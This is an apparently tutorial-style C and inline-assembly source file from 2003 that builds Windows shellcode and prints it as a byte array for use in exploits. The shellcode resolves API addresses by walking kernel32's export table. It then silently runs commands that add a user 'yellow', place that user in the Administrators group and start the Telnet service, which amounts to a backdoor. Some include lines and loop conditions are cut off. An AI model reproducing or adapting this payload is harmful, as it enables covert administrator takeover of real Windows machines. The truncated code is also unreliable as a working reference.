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#include
#include
#include
//#include
//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
#define APISTART 0
#define GETPROCADDRESS (APISTART+0)
#define LOADLIBRARY (APISTART+1)
#define EXITPROCESS (APISTART+2)
#define WINEXEC (APISTART+3)
#define KNLSTART (EXITPROCESS)
#define KNLEND (WINEXEC)
#define NKNLAPI (4)
#define WSOCKSTART (KNLEND+1)
#define SOCKET (WSOCKSTART+0)
#define BIND (WSOCKSTART+1)
#define CONNECT (WSOCKSTART+2)
#define ACCEPT (WSOCKSTART+3)
#define LISTEN (WSOCKSTART+4)
#define SEND (WSOCKSTART+5)
#define RECV (WSOCKSTART+6)
#define CLOSESOCKET (WSOCKSTART+7)
#define WSASTARTUP (WSOCKSTART+8)
#define WSACLEANUP (WSOCKSTART+9)
#define WSOCKEND (WSACLEANUP)
#define NWSOCKAPI (10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0
#define KERNELDLL (DLLSTART+0)
#define WS2_32DLL (DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS 2
#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN (COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD 3
void ShellCodeFun (void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
call LEXITPROCESS//1
_emit 'E';
_emit 'x';
_emit 'i';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';
_emit 'i';
_emit 'n';
_emit 'E';
_emit 'x';
_emit 'e';
_emit 'c';
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';
_emit 'i';
_emit 'n';
_emit 'd';
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';
_emit 'o';
_emit 'n';
_emit 'n';
_emit 'e';
_emit 'c';
_emit 't';
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';
_emit 'c';
_emit 'c';
_emit 'e';
_emit 'p';
_emit 't';
_emit 0x00
LACCEPT:
pop APINAMES
call LLISTEN//6
_emit 'l';
_emit 'i';
_emit 's';
_emit 't';
_emit 'e';
_emit 'n';
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';
_emit 'e';
_emit 'n';
_emit 'd';
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';
_emit 'e';
_emit 'c';
_emit 'v';
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';
_emit 'l';
_emit 'o';
_emit 's';
_emit 'e';
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'S';
_emit 't';
_emit 'a';
_emit 'r';
_emit 't';
_emit 'u';
_emit 'p';
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'C';
_emit 'l';
_emit 'e';
_emit 'a';
_emit 'n';
_emit 'u';
_emit 'p';
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
//填写
}
//3,装载所有需要的DLL
for (i=DLLSTART;i {
__asm{
push DLLNAMES[i]
call API[LOADLIBRARY]
mov DLLS[i],eax
}
}
//4,获取所有需要的API
//4.1取得Windows Kernel API
for (i=KNLSTART;i {
__asm{
push APINAMES[i]
push DLLS[KERNELDLL]
call API[GETPROCADDRESS]
mov API[i],eax
}
}
//4.2取得Windows Sockets API
for (i=WSOCKSTART;i {
__asm{
push APINAMES[i]
push DLLS[WS2_32DLL]
call API[GETPROCADDRESS]
mov API[i],eax
}
}
//5,编写ShellCode的功能实体部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
for (i=COMMAND_START;i _asm{
push SW_HIDE
push CMD[i]
call API[WINEXEC]
}
}
/*
我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
开发 (比如我们可以使用WinSock自己实现一个Telnet服务端).
*/
__asm{
xor eax,eax
push eax
call API[EXITPROCESS]
}
//使用ExitProcess来退出ShellCode以减少错误
__asm
{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
ImageBase:DLL基址
FuncName:需要查找的引出函数名
flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+ (函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx (NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
xor eax,eax//如果没有找到,则返回0
Found:
ret
//ShellCode结束标识符
_emit '*'
_emit '*'
}
}
void AboutMe (void)
{
printf ("\t++++++++++++++++++++++++++++++++++\n");
printf ("\t+ ShellCode Demo! +\n");
printf ("\t+ Code by yellow +\n");
printf ("\t+ Date:2003-12-21 +\n");
printf ("\t+ Email:yellow@safechina.net +\n");
printf ("\t+ Home Page:http://www.safechina.net/ +\n");
printf ("\t++++++++++++++++++++++++++++++++++\n");
}
void printsc (unsigned char *sc)
{
int x=0;
printf ("unsigned char shellcode[]={");
while (1)
{
if ( (*sc=='*')&& (* (sc+1)=='*')) break;
if (! (x++%10)) printf ("\n\t");
printf ("0x%0.2X,",*sc++);
}
printf ("\n};\nTotal %d Bytes\r\n",x+1);
}
int main (void)
{
unsigned char *p=(BYTE*)ShellCodeFun;
unsigned int k=0;
if (*p==0xe9)
{
k=* (unsigned int*) (++p);
p=p+k;
p=p+4;
}
printsc (p);
AboutMe ();
getch ();
}